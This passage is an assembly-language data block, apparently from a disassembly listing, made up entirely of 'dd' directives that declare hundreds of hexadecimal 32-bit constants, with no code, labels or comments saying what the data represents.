		dd 463010DBh, 2AD41250h, 0F8E6BF9Ah, 659DF30Dh,	6FD5B7ACh
		dd 0BA90CEA5h, 87939DB8h, 3732B37Ah, 1DB4130Eh,	92CEE60h
		dd 35C0795Fh, 8E0E8AFh,	0F13B68ACh, 63AA0937h, 0C0D2453h
		dd 188BDD2Dh, 2438CDDFh, 0E6379BC4h, 0FA839EB1h, 0C9EE61D7h
		dd 8426A700h, 0F30D65E3h, 0C79F30BAh, 95121C31h, 0DCC347B1h
		dd 76D31C5h, 0C568D181h, 0CDC0EE9h, 47FB8E28h, 0BE474A9Dh
		dd 20F0BFB6h, 0D947FF8h, 6FFFF0EBh, 927F190Ah, 0FCA122C5h
		dd 0B0211492h, 2D8ACA69h, 0BAD05706h, 0E38B037Ah, 0B5557780h
		dd 1794E908h, 17B7B47h,	371CFBBBh, 9CFE9C64h, 0DF8807EDh
		dd 2A9867B1h, 0BC8AC072h, 7F99B032h, 6BDDF64Fh,	741ED44Ah
		dd 0FC71D537h, 0CEB8E5E7h, 4B14320Eh, 793DD0CEh, 0B29123C7h
		dd 9A04D489h, 0F307D2BEh, 153F9447h, 2360DB7Dh,	28A2021Fh
		dd 396B47DFh, 0D9506EB9h, 418458FDh, 871431B3h,	0AE4D374Dh
		dd 16F0D34Fh, 0F200F949h, 3C3CD16h, 0BF38B424h,	0EAC4E180h
		dd 2AF26AF6h, 7126A82Ch, 0C71D86Ch, 5987BEC9h, 0A9264BBAh
		dd 4C2B8FF1h, 2028FC2Bh, 0C95C2AFAh, 0B8B3D522h, 410DC796h
		dd 0A9019830h, 7112F190h, 5C7DD815h, 0C16D109Ch, 8C1D1E97h
		dd 1433FCF1h, 0D5AF5BC7h, 8C449702h, 900EA5A1h,	38B91068h
		dd 2E7D526Fh, 0E6F147D4h, 9764C0F0h, 503C280h, 8E3F08CCh
		dd 2A9D743h, 0FF05E1D4h, 985BCB6Bh, 0FB5F1615h,	1FB23F21h
		dd 66DA0405h, 1B955118h, 0BA04AE8h, 0DC0C8BE7h,	0C624E11Fh
		dd 7B6F840Ah, 198DD7FEh, 735B84EFh, 5AC913FEh, 672CAE41h
		dd 0CBD9FC9Dh, 0F81059F3h, 34EAC7BEh, 0BDC92DEFh, 0D6762B3Ch
		dd 9F491635h, 0CB65FAC9h, 315064F0h, 93AFEF14h,	733DAB9Ah
		dd 53C347C3h, 368DE13Eh, 3BE48BEBh, 0F0C2E402h,	368240h
		dd 8C0EC525h, 725D8C6Ah, 0DBD94A08h, 601C6FD5h,	0F9FA936Ah
		dd 0AD169737h, 50F3D1F5h, 0D841144Fh, 0F111F783h, 3F5A359Dh
		dd 0CD61AD05h, 7DF49484h, 0A3DFF707h, 0FF8D44A4h, 3B3714Dh
		dd 0D6E31250h, 8C79EDACh, 0A36B82E2h, 0FB5655F5h, 205503F7h
		dd 3A6DB9D5h, 0AB92C9B7h, 1541294h, 3CF3C6Bh, 0EE487D15h
		dd 6AA5D1F1h, 7CE55FBEh, 2EE9BE2h, 709F51EFh, 8AFCB23Fh
		dd 0F6468E1Ah, 72A8ED53h, 0B42E2451h, 0A42385D4h, 232490D9h
		dd 9C1D4E94h, 73074F93h, 671DE50h, 0C15212FFh, 633E4C70h
		dd 0C7E1BF20h, 91863B9Ch, 987787F3h, 67B5B5B6h,	6D307D0Ah
		dd 548E3B40h, 1BC6A72Dh, 0A2E30E2Eh, 0BE3BD3A4h, 0E46C7372h
		dd 6AFBA763h, 71B464EDh, 0A128CB06h, 7D8B77Eh, 268BD152h
		dd 0B0CFC491h, 0C192947Bh, 0DD799029h, 409C9949h, 0BDCDF3A3h
		dd 0EBE38692h, 9E6B14FDh, 56752D62h, 390CE154h,	3791BE39h
		dd 0B3F4DC45h, 3A1B24AFh, 0D2A33F3Ch, 0B1B8998Bh, 0A4DEEECFh
		dd 3309BC17h, 8C010E09h, 0B46D8394h, 850C01BDh,	0AB4FF2A6h
		dd 6237BCE2h, 0E955CF1Eh, 0CA24CDB0h, 2D2A07C3h, 63D9705Ch
		dd 0D6090001h, 9F749C0Ah, 8C739753h, 0F34EADB6h, 3D7B1F33h
		dd 0B71E8075h, 351A385Ch, 88054370h, 0E77AF71Ah, 0C478130Eh
		dd 990EB925h, 0ECB8CFDCh, 93E6814Ch, 2DB17EBAh,	0A2CE37B3h
		dd 53E4812Ah, 7BD7F145h, 988BED88h, 5DE72933h, 35D48809h
		dd 29AF319Bh, 68F24FD7h, 0E1AB5849h, 57C7884Dh,	2CAD0A08h
		dd 7F70F25Dh, 8A5706BCh, 3A77F448h, 642D3621h, 0D9B8EAF4h
		dd 0FDCA2837h, 6A63584Fh, 0CB036B15h, 84487A83h, 0E8E9615Eh
		dd 0F2AD4F79h, 53D6CB4Ah, 3A6A1567h, 85DB15C0h,	0C74BDCD2h
		dd 6F27D9A1h, 0F4CC5630h, 0CBAB6A0Bh, 0E7947546h, 8C5D622Fh
		dd 7D73FA4Fh, 0CD294379h, 2D3DA3C9h, 0A19E3AF2h, 70F23D78h
		dd 234E45FDh, 0C20026F0h, 56BE423h, 76DF20B7h, 66972078h
		dd 750F319h, 0FCE09427h, 6A9B8CEh, 8308A0Fh, 503D115Bh
		dd 2A42C7B1h, 0CBFBEC4Fh, 0F148A1AEh, 0B4B61A9Ah, 0F15B7F8Dh
		dd 0E3BE44F5h, 0C977DB70h, 0DCB99F04h, 515D1952h, 0E264E7BDh
		dd 0F7F64492h, 65749E55h, 0CF19F9E1h, 617D0BBCh, 9ADC81FBh
		dd 0BCD3C949h, 0C81F6844h, 54D4D3D3h, 834075D1h, 0CE09509Bh
		dd 43A20E08h, 200C852Ch, 23CB15D1h, 2CB2150Eh, 883641CEh
		dd 0DC1A4EF0h, 7EDFC334h, 24D523E9h, 0EE8DC396h, 0C5BA7074h
		dd 0A79F273Fh, 3BCD8726h, 0D129F7CDh, 0FC336F0Dh, 85949EC7h
		dd 795C6D6Eh, 0C18B9E78h, 0EF051523h, 0B421BD06h, 91F16544h
		dd 6B7EE594h, 1F25F46Bh, 34942C3Eh, 3C8C0496h, 532E7F41h
		dd 7C3952B6h, 0D9C5F40Dh, 48679586h, 9804866Dh,	49A5711Eh
		dd 7EEA0CACh, 0CD473B33h, 4C5599C3h, 0B5C86E07h, 0CCD86B70h
		dd 0A114ACA5h, 66B1F3A5h, 51EA0534h, 34D4C6F5h,	49DA5813h
		dd 0E2657A33h, 0B14BE8F5h, 94E3C485h, 9F2C544h,	1683FFA4h
		dd 0BF044281h, 0BEC3E7B9h, 35C9CAD3h, 730F5589h, 69DD5173h
		dd 0C2629A99h, 0F112975Bh, 0CD9BA5F6h, 0B1452CF6h, 0F2DF1375h
		dd 929EEBFFh, 0BF76AB31h, 7A0D683Bh, 605BCDB5h,	0F3358C39h
		dd 8DE50332h, 0B5FBCFD0h, 799B816Bh, 0C08E2474h, 7A9DE3C0h
		dd 0E9158BA3h, 20A95D4h, 4C203B4Ah, 5EE1DF2h, 0E900C18Eh
		dd 7B99BB9Dh, 78C71090h, 627150D2h, 0B0A1ABACh,	891A2016h
		dd 2FA59490h, 70A00994h, 0A768EC6Ah, 0EA7E7131h, 1D1C8C08h
		dd 7D0E0B0Ch, 49DF20DDh, 7B691E63h, 0EEF9B6B5h,	17744F01h
		dd 29051CDDh, 7636C52Bh, 6A168044h, 88ADB948h, 0DB5B370h
		dd 0C953A837h, 4E955260h, 0B98CB9E1h, 675477C3h, 0CFE3B7A1h
		dd 5302138Fh, 4DF4B7DAh, 77DC479Bh, 0EDCAFB55h,	0B5DFB70Ah
		dd 0F2DB2660h, 0E06AA5Bh, 9E5EE179h, 4FCF164Dh,	0EDC16871h
		dd 7BE2691Eh, 0F47FC76Ah, 3AECF307h, 6CFB02F4h,	6B151FB2h
		dd 94A084CFh, 9EE131D2h, 4957C18Ch, 0A173AEBAh,	0E4DBA73Eh
		dd 6777AAE5h, 4902C02Eh, 0A17E6463h, 143BD085h,	817DB446h
		dd 0E6171018h, 76710E80h, 19C1E234h, 0E4760712h, 2F2F2AECh
		dd 0B010190Dh, 2CBB64DFh, 0D67EC758h, 75707006h, 5482B1FEh
		dd 3CF84F31h, 0FE17627Bh, 3E922747h, 34E6112h, 0EDDBC440h
		dd 0DC12237h, 0BD0195ECh, 0D7BA897Dh, 0B8BBD6BDh, 127C76DEh
		dd 2D2A2F31h, 48F83543h, 0AF6BAFCAh, 0DAF766B6h, 82FE4732h
		dd 0F9CBA532h, 166DCC16h, 5BDC6D97h, 0CF120340h, 0C8BF754Bh
		dd 91B1800Bh, 0A44E3639h, 42090BCEh, 3210A5B3h,	0E103C735h
		dd 66735B17h, 0F512EA44h, 95B9C4BAh, 0CE963E13h, 0A1E88E9Fh
		dd 9F43F1DDh, 0A7599E5Fh, 7E220C79h, 56746CEh, 0C1793AF6h
		dd 0AB809CB7h, 0A3D6D624h, 18EA618Bh, 8F71AC74h, 582DD4DCh
		dd 729897EEh, 0FED8DC5Fh, 64EED719h, 0C033F641h, 7E629407h
		dd 749A21A5h, 0DC005C57h
		dd 0D0899F90h, 5BB84935h, 99C8E6BAh, 0C853E4A8h, 0D3A5F078h
		dd 0F38F131h, 0BF636748h, 8280C619h, 0EAECA420h, 76CC0463h
		dd 10D09BB0h, 0C39234A7h, 33B56A66h, 0CBD5AD79h, 8DECB6A3h
		dd 17112DDDh, 34C099Ah,	0C0862289h, 9F111348h, 0CDBA9253h
		dd 0C917BCDAh, 0F25FB7FFh, 0E2FF139Fh, 0A714F47Bh, 32ED6566h
		dd 61841DE1h, 37D59ADAh, 0B0B307BCh, 0EC23E53h,	0CF48E1F5h
		dd 42481D75h, 4EF3F56Ch, 0D52405C3h, 2C0D9420h,	3F69C370h
		dd 0D46F9D11h, 0DE098641h, 0A43034E1h, 0E24932Bh, 0F87193C4h
		dd 0E223620Eh, 296CB14h, 31C6F0E0h, 720853B9h, 7F8B1F13h
		dd 84E28625h, 69F234E7h, 64F3E1BDh, 74D7AD83h, 1E6E0BF0h
		dd 0F7C93115h, 0E8C110A5h, 24FA0953h, 0B1C785D6h, 0CD01BF14h
		dd 486E62E4h, 52EF0898h, 0BA92DC18h, 927A3B57h,	682F80F3h
		dd 0C28C631Bh, 1501B81Bh, 0BF0C9ECBh, 741E7EA0h, 85C53FD7h
		dd 0C0235DD4h, 0EA28397Ah, 5E8F1F16h, 4FD2B9FCh, 7D68F303h
		dd 0D70795Fh, 5D24B18Eh, 328D5ACAh, 5272E7BBh, 96916F80h
		dd 0FB32270Eh, 6A757B1Bh, 57F947EAh, 8CF008A5h,	0DF1AE75Eh
		dd 912A96AFh, 356D3F3h,	0B563C82Bh, 9118196Eh, 14989316h
		dd 7B3EE620h, 4A4F28AFh, 0EE3C0FD8h, 0AD69CA1Ah, 54DD226Ah
		dd 4ACD5D44h, 326FFE8Dh, 6381A79h, 0C8017E23h, 0A3931B07h
		dd 2D30CC29h, 0D948710h, 20263FABh, 0CF2EB8F5h,	743FDC5Dh
		dd 0AC6B0C48h, 986E9363h, 3D28BBDCh, 0CA42B919h, 5180B819h
		dd 0ACAD84B1h, 7E5F8DA3h, 30566EE9h, 6E3967Ah, 0BE9C345Fh
		dd 98FA9361h, 0F3E9E9Ah, 1665836Fh, 0BF04DBE7h,	0CAC8376h
		dd 0ABF33D94h, 6DB4BA1Ah, 0ED0C974Dh, 0DCA72376h, 5AD2ABC3h
		dd 7010C23Fh, 0BB6FF384h, 0F2007191h, 5ED81DFDh, 0AED5BFDAh
		dd 4EA1EE85h, 0DE34884Fh, 0C22B5BDh, 4F13EF69h,	0BD012C4h
		dd 0D4180C7Fh, 0BF87EE5h, 85A4F4BCh, 2FFACB80h,	0F3E2303Bh
		dd 0B2822723h, 32BD8DA3h, 8F7146EEh, 0F66C276Dh, 3C910863h
		dd 0FD2DB5CCh, 8E682A00h, 5271F9C4h, 0AB7190C3h, 26E5E067h
		dd 77B178C1h, 48A0C5Bh,	5D74AF43h, 0CFE7B77h, 34B6703Dh
		dd 0BFA13DF7h, 98999B76h, 0F4E5FDD0h, 0C61D6ADh, 0EACEB3F1h
		dd 2AD876C5h, 654309Fh,	721E350Eh, 0C4055096h, 5808627Fh
		dd 0BAAA8A52h, 8AE8DB9Ch, 33B2B48Ch, 4C30DDF4h,	89937E03h
		dd 0D6061406h, 0D93BD100h, 0BE6EC871h, 31E5E2DCh, 651143E6h
		dd 31053AC0h, 2597AAA4h, 0C3CA8A59h, 37E10DCCh,	0EB82FC00h
		dd 9B956FA8h, 890D5B33h, 2DEE7206h, 206CEA19h, 2AC658CAh
		dd 2E9858Eh, 0D5E42EA2h, 6F2C204Dh, 0B50E138h, 8B0F711h
		dd 9D2219D5h, 0C4E3A1F4h, 4FAC33DBh, 199E0AB4h,	47E26FF1h
		dd 0EEA52096h, 8C37D384h, 68606BF4h, 0C27E4661h, 62FADFFDh
		dd 27894565h, 7757B1B5h, 16880360h, 0CE989DD2h,	4D19C4D3h
		dd 38F96E7Bh, 5C5D3E5Ch, 0CCB011DFh, 7897A95Fh,	0F431D2EAh
		dd 0CB8FE2F6h, 0DB4B50DCh, 50ED109h, 0C6DDAD85h, 0DAC7CBDDh
		dd 0D7E9BB6h, 78C2A75Eh, 256EB475h, 0EA5E0DB2h,	8B156800h
		dd 732292D6h, 180D7D29h, 0F59929C3h, 9BA1D054h,	70BAAD2Ch
		dd 0B7FB070Ch, 24421B5Eh, 82C02215h, 0A7F6151Fh, 6969FE99h
		dd 9083D7DAh, 0B0E6C64h, 32EE66A6h, 67397FE9h, 191150F2h
		dd 4C240D6Dh, 801592B7h, 2ACDB0EAh, 207D72CCh, 0AE1131BBh
		dd 0B8454737h, 0B0904C5Ah, 359AEC0Bh, 1B4CE63Bh, 71F5B687h
		dd 29C389A8h, 413E7439h, 0FCBC4C14h, 28B6625h, 123C4CECh
		dd 61C35D85h, 95CE862Bh, 39EF022h, 68EF73D0h, 8C676555h
		dd 4AAB43FDh, 6EF7D9A4h, 3B6F2FAEh, 120D4A6h, 4ED251A1h
		dd 33450B06h, 0E6D866BEh, 0AC7D64AAh, 7852360Fh, 0F9F40577h
		dd 85C46A30h, 6176AE2Dh, 0CF00551Dh, 0B1B1B6C1h, 0ADA3FAD3h
		dd 6447139Ch, 575D7DA0h, 257DF2BBh, 131C846Ch, 87A750CAh
		dd 402599B3h, 551D08C0h, 0DC0B37EEh, 355D5B19h,	0D8A9E3C1h
		dd 91664583h, 1B68346Bh, 0C6C98294h, 22C5053Eh,	9ABC0C9Fh
		dd 0F3ABD2D8h, 13D750B7h, 446D3669h, 36C813B7h,	229903FCh
		dd 0C34DCDB3h, 2EFB9E64h, 1865FF77h, 0EFE57F69h, 0ED7371A0h
		dd 0AA8B71C5h, 0DB03A5CCh, 0A90B9F49h, 3761A1D9h, 3C5D01A1h
		dd 0B5E658BBh, 663717A8h, 0B6CFF9Dh, 6A5669BFh,	0F1429909h
		dd 5FC5DAC7h, 8B20C4F8h, 5081CD53h, 0DEE38467h,	62E53D5Fh
		dd 5E38BD83h, 1908AD05h, 0F720535Bh, 6C671B16h,	6A3761CCh
		dd 11D258D3h, 0DE52010Fh, 0A2B743DFh, 40FF7777h, 5DB76959h
		dd 321A9DB9h, 0E3DB2F7Dh, 4626D848h, 399E5E50h,	0CF57BAE7h
		dd 5F63ABD0h, 179B0455h, 6A623D82h, 0B13A36BEh,	0E67554A4h
		dd 0C324083Ch, 0ED9AC75Ah, 332045B5h, 0EA1FA2D0h, 0FB33DE44h
		dd 0A6776FFh, 8CC2E7CFh, 8D0ECCF2h, 4F3E220Fh, 12443509h
		dd 65309AF2h, 1C61AC16h, 7B71430Dh, 309A7ED1h, 0FD828CA9h
		dd 0BB71B5F0h, 6CDABFF4h, 6503E0DFh, 0C934927h,	8A6C3598h
		dd 71CC6301h, 0ADAD1A2Ch, 92B655EFh, 262C27CBh,	74A8D123h
		dd 93D97810h, 76EC31BDh, 20192C50h, 5153104Dh, 0A1436DDBh
		dd 3C213658h, 90EACE01h, 0BB954533h, 38D20D2Ah,	4230DCF7h
		dd 3ACC15Eh, 0A549E024h, 0BAA5A74Ch, 8E2C194Bh,	7E0B22BDh
		dd 0E76392FFh, 31176AE6h, 0A194AA91h, 9511D2h, 88A379BAh
		dd 46E0E33Bh, 4971A247h, 9CFA70BEh, 7207BB22h, 2D2C7B5Eh
		dd 139D2B31h, 2C912096h, 5EE52A6Ah, 23DED60Bh, 9FD50D7Fh
		dd 8216815Fh, 5DBBC490h, 753E4478h, 0D4595CFEh,	9D75A4EBh
		dd 0C1C73667h, 9D7BFDE2h, 183934E2h, 7266800Dh,	6D96D35Ah
		dd 491BF1E3h, 0DAB6FDC4h, 9C0D4F3Ch, 55715055h,	0C1C5520Ch
		dd 482E721Bh, 362195F2h, 43C143Dh, 0A886B7B8h, 0F56758AAh
		dd 75CFF8A0h, 5928CC34h, 0A5676ECCh, 98C50C1Fh,	1DE39ABFh
		dd 3A69959Ch, 0F7D9080Eh, 0D7E71459h, 0C175E849h, 0C31F549Ah
		dd 0DF9E7420h, 6CEB2241h, 0AB55B114h, 0A16F6BF8h, 7771DF41h
		dd 0A48252FFh, 0FB0BAEF6h, 952E8FD6h, 0BA807C05h, 1B6BB9D3h
		dd 0CE1F867Bh, 6C8481ACh, 34AD59CFh, 9B38DF21h,	7F92BDDh
		dd 81AD7FEBh, 0E419548h, 0BF28104Eh, 7036D22Eh,	1C112FBEh
		dd 27D3F6FAh, 37F934ACh, 2057F0FFh, 430BDCD7h, 0EB6374E5h
		dd 21C2E4DFh, 0F5B705D5h, 0B040B1C7h, 0FEE7EB96h, 6E1300BEh
		dd 0C01C9F5Eh, 35E4DDB1h, 4FD641AFh, 69FCEA91h,	0CB5C1E08h
		dd 0F42CBA5Dh, 5F069ED8h, 238AC14h, 0D544D75Dh,	885B5B31h
		dd 0B9A622DFh, 17E52FAEh, 0C4B28DDFh, 22599Ah, 0A5D6E1EDh
		dd 966CFB1h, 0EEF77D3Ah, 81B8C93Ch, 910CCA9Dh, 0BA6BE61Ah
		dd 708920D3h, 79A2401Bh, 8E768D8Ah, 3457E227h, 0D13ACC3Dh
		dd 76AA9B03h, 0B3DE0072h, 51110BF1h, 335647D9h,	79297E0h
		dd 9A0F9419h, 7D752C24h, 0F65708ADh, 0D3070269h, 0C7E1BB5Dh
		dd 0BAC7B7EDh, 26C4BA81h, 6DF3607h, 0DE43362h, 5F0F9AC7h
		dd 0CDC5CA90h, 0F2B2CEF5h, 0C7369FA6h, 317C6296h, 6BFDF9FDh
		dd 0B33CF8C2h, 6D8FF80Fh, 0B885211Dh, 600D633Ah, 284728FFh
		dd 6C672E3Eh, 0AB1BC1A0h, 0AAA61139h, 21E85DABh, 55CED91Fh
		dd 0C2B48CCFh, 4B993163h, 29EA62C7h, 541856DFh,	0BB4AF7E1h
		dd 44BA5316h, 0CFE5FCC0h, 5B64F070h, 4D0CF591h,	59C4B1D2h
		dd 0E63E2B48h, 0C32658E7h, 173B7C16h, 35A1302Dh, 224096E3h
		dd 0B720C3ECh, 1EFD0A72h
		dd 5248F5D7h, 29AB3159h, 5E814E8Dh, 0A196AE3Fh,	5990E541h
		dd 206B6EFAh, 0BBEB624Ah, 6BD22C7Dh, 0A447FFC4h, 0E93B7BACh
		dd 3D940FCEh, 53E6A6AEh, 0DB57DD73h, 0F72CBD83h, 0AD18ECCh
		dd 989E7F20h, 0E62DF13h, 571B165Ah, 9F23398h, 44A2B068h
		dd 570D6329h, 0D509F0ABh, 59E5E233h, 42AA4E04h,	0D17BBB8Eh
		dd 0A94B5773h, 5CEA3A08h, 74A6329Dh, 1A3872AFh,	0A3FF6AFBh
		dd 798A829Fh, 4F71BD42h, 0C24A34F9h, 68EE3BBBh,	0E074EACBh
		dd 705C6792h, 0BC838C63h, 0E6D33C9Ch, 0CAB4982Fh, 0CA205D71h
		dd 8901DD26h, 0D89A9B26h, 6E7E5E55h, 2640692Eh,	783E2597h
		dd 4F10BB1Ch, 95CCB5DDh, 25AFC6EAh, 52BBD697h, 0EE6CDF21h
		dd 0A6935FADh, 25AB8F39h, 0E0A8812Bh, 883C8F26h, 7104443Fh
		dd 6D4FA293h, 0FB2C9815h, 671D760Ah, 311067B0h,	0C8B36042h
		dd 0A1D4E391h, 255F1F4h, 6A0A2791h, 73CD5D84h, 0B051BE6Bh
		dd 2C636410h, 430FB13Ch, 18AD1BA8h, 7E1BD483h, 586415BAh
		dd 8BBDF6EBh, 71C9A96h,	1AEF0A61h, 0E7B53D04h, 85B3E783h
		dd 113AE065h, 72CF2677h, 0B3F79EB6h, 75058B60h,	58A1E714h
		dd 0DB3DF2A7h, 74E52BA2h, 0B95780D6h, 0BE6D0FB1h, 0E7EE4852h
		dd 8166F207h, 4E720788h, 68BDD5FAh, 18E788C6h, 30744880h
		dd 66DE9015h, 326437E3h, 23788296h, 0CE2BA44Ch,	0B7B2BB73h
		dd 4BF73AAh, 2343D92Eh,	0F0101B05h, 7AD6A81h, 43928852h
		dd 76915D96h, 0AE57ED18h, 0E3BCE06Bh, 12756453h, 9061025Ah
		dd 0CA440F1Fh, 55384EF8h, 937BDAEFh, 963A2B9Dh,	4C422E29h
		dd 5DC53709h, 0A6132953h, 0D259E4B7h, 2F8BAB92h, 0D5FFCE5Dh
		dd 0D4A8168Eh, 0BA508E37h, 0D9F702E0h, 31E7CBEDh, 0EAD83CC1h
		dd 5BC43BA2h, 2A58E9Dh,	0BDE65B4h, 9F92DB63h, 0A24995CCh
		dd 0B796FE1Bh, 9687FCF7h, 77D4258Ah, 8F6FAAD1h,	44C6E2CFh
		dd 0EBFD24D8h, 2110A419h, 0D796CFC3h, 29CF29D4h, 0E72ABA84h
		dd 0EC37B5E9h, 16BF1547h, 0E0A41E9Ah, 8B804B38h, 2DB36262h
		dd 0BE01EA68h, 7D328636h, 0AE9EABC5h, 9AA93AC4h, 0EA0DFFF8h
		dd 8379DF84h, 9DA80DAEh, 19C8CBD6h, 7BAF4DD2h, 824700EDh
		dd 7E64C14Bh, 0CFF76D7Dh, 0B515BB5Fh, 8522306Dh, 14AE96AEh
		dd 3F3D4D15h, 7A781B67h, 5084891Bh, 2176BD39h, 695DA9AAh
		dd 9DCEFE00h, 9E34545Fh, 0F98A4BE5h, 0AB651439h, 34C7F01Dh
		dd 93292135h, 235D1386h, 500299E4h, 6538A56Dh, 56EB8588h
		dd 9599B587h, 0D8488483h, 0A94AC760h, 0B3815B56h, 0A2E4DF66h
		dd 0A00EDADEh, 12F7FB98h, 73460590h, 0AA0CCA55h, 0CE4BF8A3h
		dd 4B15B447h, 850C9D2h,	0E74BEE5Fh, 668844F3h, 516A6E5h
		dd 5ABD85B4h, 11EEBF42h, 0A85138EBh, 5779C5C5h,	861EFE57h
		dd 0DB94B1C7h, 40B28D85h, 5E64B0A3h, 8DC345F5h,	0A59950C6h
		dd 0EBA13860h, 0B559D351h, 0D4932197h, 9C0C76BDh, 0A8F48AF0h
		dd 0FD4140CBh, 76E5B121h, 0E4D67E80h, 19AB878Bh, 0B2A1061Bh
		dd 0B43665Ch, 0DAD33115h, 2D32AB6Dh, 2A3F0DDEh,	0F6D3F172h
		dd 4213EB39h, 0E3DE5317h, 5CE5C57h, 632FF94Ch, 65E05BCh
		dd 0D935FB5Bh, 84A80D41h, 709A94h, 54038DB7h, 0EF93C1F0h
		dd 0DB20E702h, 0D57C3A4h, 328EC276h, 7931792Fh,	3EB7A56Ch
		dd 6C40E4AFh, 0D99E5C35h, 4B9B3794h, 0EBD1FA90h, 37A02D99h
		dd 0C35A857Bh, 0C3D6D2CDh, 0C3C9F1FCh, 0D42AD9ACh, 48BFDA6Dh
		dd 603F6F59h, 32963265h, 7E1E95E1h, 6FC019A3h, 1CBD55E4h
		dd 0DD291E08h, 0A8D6C3A7h, 8DBFB42Ah, 7663D115h, 0BD6D9120h
		dd 0A5251D6Bh, 67CCEBB7h, 686E1F82h, 0FD5E7B1Dh, 7D00FEC1h
		dd 0E62E8B65h, 265B9470h, 34AA5D8Ah, 858E4BC1h,	0B67C4823h
		dd 3B3BD839h, 0B48571DDh, 2D173FFh, 0DD8C6043h,	0C43FD372h
		dd 1B9F2F44h, 0AD47C251h, 3A6AAD45h, 0E9DB499h,	0D79C4222h
		dd 3ED5B339h, 146D1953h, 0FF546919h, 0C0465072h, 1155A466h
		dd 0A6D00B33h, 261616CFh, 968871ADh, 73073B72h,	0DC0F76Fh
		dd 0CB290FE4h, 0C0782CAAh, 4E994F3Fh, 9B66AE8Ah, 0BD9D1BCDh
		dd 2E750C77h, 0E5AC0A73h, 98893EEDh, 2A18784Ah,	894ABAF0h
		dd 0E446C7ADh, 0D827F35Bh, 5C0B3C68h, 7E192977h, 0EA56A568h
		dd 678A3FAEh, 59DB07B0h, 0DCBDEC03h, 8E27E2D9h,	0D3C5D8BDh
		dd 4FF49DEh, 0A200A339h, 0FDFAC169h, 0FF4D2FB0h, 46BB17E8h
		dd 9C490C2h, 25EF20C9h,	0B507B154h, 23201B64h, 2D952A0Ch
		dd 0DF85CC59h, 5475CF62h, 67757FA4h, 0E3870393h, 4AE4198Eh
		dd 0F9F1EA3Fh, 5A2779DEh, 0EE6C7FE6h, 2B6884EBh, 5E817703h
		dd 410A8250h, 0B349BF6Dh, 0F9D6E74Fh, 0F6FD9CD1h, 35388294h
		dd 0AF5CE020h, 0ACCC8187h, 1DA37128h, 49D540h, 1D7677CEh
		dd 0C94957B9h, 0CF4724E0h, 0B294E7E4h, 7F0274E7h, 0F5E25E1Ah
		dd 140A6102h, 8DE5089h,	6B74CE4Ah, 8EB262E2h, 877C9D87h
		dd 21E9D10h, 953B8A13h,	0F69EBBADh, 2558DEC3h, 35B4C455h
		dd 7D8F2416h, 6404B258h, 7F3EB1A0h, 0C468A0Ah, 4D107C91h
		dd 8B2BD9FAh, 0DB630B91h, 1CFB5BB9h, 40F4F5A2h,	0FD1DC560h
		dd 0D5A8CDAEh, 74821E8Ah, 0A3D29ED6h, 572B5E9Ch, 5CEB715Eh
		dd 8E12B217h, 5DC0AF47h, 10E21D9Ch, 4BAA8737h, 8C8EB525h
		dd 0A05BA2FEh, 0AB3104A9h, 0A590F3C7h, 93BE9870h, 3BD9161Fh
		dd 0DA305673h, 0A14F729Fh, 0AEDC58B4h, 315B816Dh, 6810CCFDh
		dd 6B061ADCh, 0DB97FD60h, 0E7ACD40Eh, 0AE3ABB54h, 3F599244h
		dd 9C49B7D8h, 0B92D1F9Dh, 7A1D2537h, 3D027BA8h,	0B86E0A61h
		dd 0C7BF7250h, 52D40FD6h, 0FE87C136h, 0C6F9887Ah, 5C322B38h
		dd 5E9BC814h, 0DE274E7Bh, 0BB705578h, 0DC0E52F1h, 68F875D5h
		dd 0D8C89Ch, 0D43A6A32h, 5546AA3h, 805BB8B9h, 0DA3274B9h
		dd 0D1E26757h, 28C3995Fh, 56ADC1FDh, 523A7DFEh,	0CF6BFE66h
		dd 764A9F65h, 70DF7DCFh, 40840F54h, 1F36B2E7h, 8BA6B508h
		dd 0B190C52Bh, 250805ABh, 8191469Dh, 1DEA7CBFh,	0C90D8519h
		dd 0C985D753h, 0B9A79994h, 16D55CB9h, 0A02B6663h, 0A3A9638Dh
		dd 0DFDB3C13h, 313E85C8h, 7877A639h, 0C3945A49h, 1A57DE3h
		dd 0A2F4A125h, 1FBA3F83h, 5911DD1Fh, 3B0715F8h,	694407FCh
		dd 4FEA2060h, 5D058FB0h, 365BF689h, 31DCE777h, 79E7118Fh
		dd 0F18DF45Bh, 6FACDF5h, 4DD5A234h, 4D840883h, 0DB2DA76Ah
		dd 8D0FD92Ch, 12ADB727h, 0E98671FAh, 4733ECA4h,	4CC5533Ch
		dd 157EDD27h, 0E9C0EF7Ah, 0D33759B1h, 0C178293Bh, 0BEC32EE4h
		dd 522278A5h, 0ED473834h, 0CE5DD0D9h, 8C62AE18h, 0C1F6C67Fh
		dd 262792Eh, 67402646h,	0FD4F893Bh, 9F413D98h, 9000BB0Bh
		dd 20277E62h, 0AB343675h, 416A0786h, 0EE021D40h, 0BBC04FDCh
		dd 14A4A7CDh, 0D1073244h, 0C47C8B8Ch, 79FA1CE3h, 0D69EB5F6h
		dd 8B263A66h, 96C60866h, 1925FB59h, 8611965Dh, 432CEB39h
		dd 0BC741B6Eh, 0BEA7AE77h, 9C6C6178h, 0DC6F5275h, 0F0083BFDh
		dd 0F967762h, 0C4D5D27h, 274CDEC2h, 0CD6CAFA2h,	0D8D978D3h
		dd 0DCEE992Dh, 0C11AF988h, 79D98178h, 0F8F088CAh, 0F6B89A44h
		dd 0F9211074h, 50599B2Dh, 0C7D858E2h, 4383C5F3h, 50D83369h
		dd 0B8AF45F5h, 0DE1CFF11h, 9DB1410Bh, 73832540h, 0F69A604Fh
		dd 62F462EDh, 4972563Eh, 7BC9C590h, 36C6FF98h, 9E0CD925h
		dd 115EC4A3h, 27E3044Ch, 0F08B87FAh, 85FBF0E6h,	0F9B5948Fh
		dd 0F4EF77D2h, 4B8AADBEh, 1DB848B2h, 9BEEA89Ah,	9E1BC40Eh
		dd 429C0276h, 0A574F855h
		dd 72CFC8D3h, 51FDD6CCh, 117E3D54h, 14A6DF8Dh, 33B1CAD9h
		dd 27860E84h, 4531EEB6h, 5A5CF824h, 7ECB2D1Fh, 743D3279h
		dd 0C0D1D44Ch, 49E19F21h, 0D7010938h, 4111DD34h, 0A3EA9BEAh
		dd 0C2278CFFh, 233270F4h, 0A7B62FD1h, 0DAD0C0E7h, 576EAD78h
		dd 0AA958918h, 0DA1DB2D3h, 597D7DA7h, 0A4B8ADFDh, 0A2A1A451h
		dd 0ED73EF88h, 0CDB79974h, 0DC663490h, 75C840C0h, 0E30E398Dh
